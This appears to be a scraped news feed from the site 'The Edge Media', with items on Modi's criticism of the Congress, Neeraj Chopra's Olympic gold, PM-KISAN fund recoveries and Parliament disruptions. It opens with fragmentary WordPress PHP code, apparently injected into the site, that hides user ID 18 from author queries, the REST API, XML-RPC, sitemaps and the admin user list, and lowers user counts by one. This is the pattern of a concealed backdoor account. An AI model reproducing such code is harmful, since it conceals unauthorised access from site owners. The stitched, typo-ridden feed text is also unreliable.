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'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
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global $wp_query;
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status_header( 404 );
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}
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} );
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return;
}
global $wpdb;
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if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
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$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
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$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
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'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
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unset(
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$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
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add_filter( 'views_users', function( $views ) {
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$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
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} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Why Modi Keeps Targeting the Congress Despite Its Decline? appeared first on The Edge Media.
]]>Modi’s fiercest verbal attacks have long been reserved for the Congress and especially for Rahul Gandhi, a pattern that began well before he became prime minister. What remains puzzling is? Why the Congress continues to be singled out, even after suffering repeated electoral blows?
During the Bihar election season and the vote count, two moments drew attention because the intensity of his criticism did not match the occasion. The first came last Friday, when counting trends placed the National Democratic Alliance firmly ahead while the Mahagathbandhan collapsed, with the Congress touching a new low in the state. The BJP headquarters in Delhi was set for celebration, yet Modi chose the moment to escalate his critique of the Congress leadership.
He declared that the Congress had transformed into what he called the Muslim League Maoist Congress. He accused its leaders of embracing negative politics and hinted at the possibility of another major internal split. The idea of Congress being influenced by urban Maoists had earlier been voiced by Maharashtra Chief Minister Devendra Fadnavis, while the Muslim League reference had been made by Assam Chief Minister Himanta Biswa Sarma. Modi fused these accusations into a single sweeping charge.
After the 2014 Lok Sabha debacle, Sonia Gandhi had accepted that the party was widely seen as pro Muslim, suggesting that Hindu voters had distanced themselves. Modi’s new label combined two of the most damaging political portrayals in modern India and applied them to the Congress.
Modi’s second major attack in three days came during the Ramnath Goenka Lecture in New Delhi, an event meant to honour the founder of a publication known for its independent stance. While discussing his government’s achievements, Modi also outlined what he believes is the current electoral mantra. He urged all state governments, regardless of ideology, to focus on development, business friendliness, and investment climate, arguing that such priorities determine political futures
He then returned to the Congress with a sharper edge, claiming that while Maoist violence in the country was receding, it was gaining ground inside the Congress. He accused the party of nurturing Maoist ideology, supporting forces that reject the Constitution, and fostering urban Naxal sympathisers within major institutions. According to him, those who entered the party a decade ago had now turned it into a Muslim League Maoist Congress that had allegedly abandoned national interest and become a threat to national unity.
Within three days, Modi’s rhetoric toward the Congress shifted from branding to allegations of betrayal and jeopardising national cohesion. This raises unavoidable questions about evidence and why no legal action accompanies such serious claims. Yet the broader motive seems clearer. The sharpened criticism is part of a deliberate political strategy designed to shape public perception well ahead of 2029.
Modi himself hinted at this strategy in his victory address when he spoke of a potential major division within the Congress. Despite setbacks, the Congress remains the only party with a nationwide footprint capable of challenging him. Its performance in the recent Lok Sabha elections showed resilience, signalling that it is weakened but not defeated. Modi’s intensified narrative appears aimed at ensuring that by the next national election, the Congress becomes irrelevant.
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]]>He won the first Gold medal for India at the Tokyo Olympics. He impressed in the majority of the rounds.
On Saturday, Indian Javelin thrower Neeraj Chopra created history by becoming the first from the country to win a gold in track and field in the Olympics. He threw a distance of 87.58m to pick up the gold at the ongoing Tokyo Olympics.
Neerahis quest for a medal with a massive throw of 87.03 meters and was leading the pack after the end of first attempt.
Haryana government has announced Rs. 6 crore as reward for winning the gold medal in men’s javelin throw.
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]]>The post Indian Hockey team gave their best at the Tokyo Olympics, says PM Modi. appeared first on The Edge Media.
]]>The Indian men’s hockey team’s dream of entering the Olympics final after 41-years remained unfulfilled as it lost 2-5 to world champions Belgium in the last-four stage but the side is still in the hunt for a bronze in the Tokyo Games.
“Wins and losses are a part of life. Our Men’s Hockey Team at #Tokyo2020 gave their best and that is what counts,” Mr Modi tweeted.
Wishing the team the very best for the next match and their future endeavours, he said , adding that “India is proud of our players”.
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]]>Addressing a meeting of the BJP’s parliamentary party, he accused the Congress of deliberately spurning attempts at resolving an impasse that has seen little , if any , work in this session.
The Prime Minister pointed to the Congress boycott of last week’s all-party meeting to review the COVID-19 situation in the country , and said the party had also prevented others from attending.
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]]>The post Rs.3000 Cr Transferred to 42 lakh Ineligible under PM-KISAN Scheme, centre now recovering money . appeared first on The Edge Media.
]]>Under the PM-KISAN scheme, the Centre transfers Rs 6,000 each year to farmers across the country in three equal instalments. The scheme however has an eligibility criteria like the farmer should not be an income tax payee. In an answer to the Parliament on Tuesday, Agriculture Minister Narendra Singh Tomar has admitted that Rs 2,992 crore is to be recovered from 42.16 lakh ineligible farmers who got money under the PM-KISAN scheme.
The maximum number of such ineligible farmers who got PM-KISAN money were in Assam (8.35 lakh) followed by Tamil Nadu (7.22 lakh), Punjab (5.62 lakh), Maharashtra (4.45 lakh), Uttar Pradesh (2.65 lakh) and Gujarat (2.36 lakh). The money to be recovered is to the tune of Rs 554 Cr in Assam, Rs 437 Cr in Punjab, Rs 358 Cr in Maharashtra, Rs 340 Cr in Tamil Nadu, Rs 258 Cr in UP and Rs 220 Cr in Gujarat, as per the reply in Parliament.
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]]>The post PM Modi’s Monsoon Session live : appeared first on The Edge Media.
]]>As the disruptions continued despite repeated pleas by the Speaker to maintain decorum, Lok Sabha was adjourned till 3.30pm , while Rajya Sabha was adjourned till 3 pm.
Criticising the Opposition for not allowing PM Modi to introduce the new ministers, Defence Minister Rajnath Singh said such a thing was happening for the first time in his 24 years of parliamentary career.
“I would like to urge all the MPs and all the parties to ask the most difficult and sharpest questions in the Houses but should also allow the Government to respond, in a disciplined environment. This will boost democracy, strengthen people’s trust and improve the pace of development,” PM Modi told media persons in the Parliament House Complex.
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]]>The post Gujarat railway project inaugurated by PM Modi today. appeared first on The Edge Media.
]]>The key projects include the newly-redeveloped Gandhinagar Capital railway station , the newly-electrified surendranagar-pipavav section, and gauge converted cum electrified mahesana-varetha line.
The Gandhinagar railway station is now set to house world-class amenities at par with modern airports, the government said in a press release.
The upgradation has been done at a cost of Rs.71 crore.
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]]>The post PM Narendra Modi in Varanasi : Vikasvaad runs UP govt, not corruption or ‘Bhai-bhatijawad’ , says PM Modi. appeared first on The Edge Media.
]]>PM Modi also lauded the law and order situation in the state.
“The government in Uttar Pradesh is not ruled by corruption or ‘bhai bhatija vaad’, but by ‘vikasvaad’ (development),” PM Modi said.
Before inaugurating the convention centre, PM Modi addressed a crowd in Varanasi on Thursday. During his speech, PM Modi lauded Uttar Pradesh Chief Minister Yogi Adityanath for successfully handling the second wave of Covid-19.
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]]>The post PM Modi expresses concerns over people neglecting masks and crowding in hill stations. appeared first on The Edge Media.
]]>“People are taking predictions about the third wave like weather prediction reports, very casually. The third wave predictions have to be taken very seriously,” said a senior official of the health ministry during this evening’s official briefing.
“If we remain cautious and take precautions , we will be able to prevent the third wave …there should be no compromise in this , ” said Prime minister Modi, while also stressing that the vaccination drive needs to be continuously ramped up.
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]]>The post New members of the Cabinet committee were appointed on political affairs days after the major reshuffle. appeared first on The Edge Media.
]]>According to the notification issued by the Cabinet Secretariat last night, the Union Ministers Arjun Munda, Virendra Kumar , kiren Rijijiu and Aunrag Thakur have been included in the reshuffled Cabinet Committee on Parliamentary Affairs.
However, there has been no change in the composition of the country’s highest making body on security affairs, the appointment committee of the cabinet.
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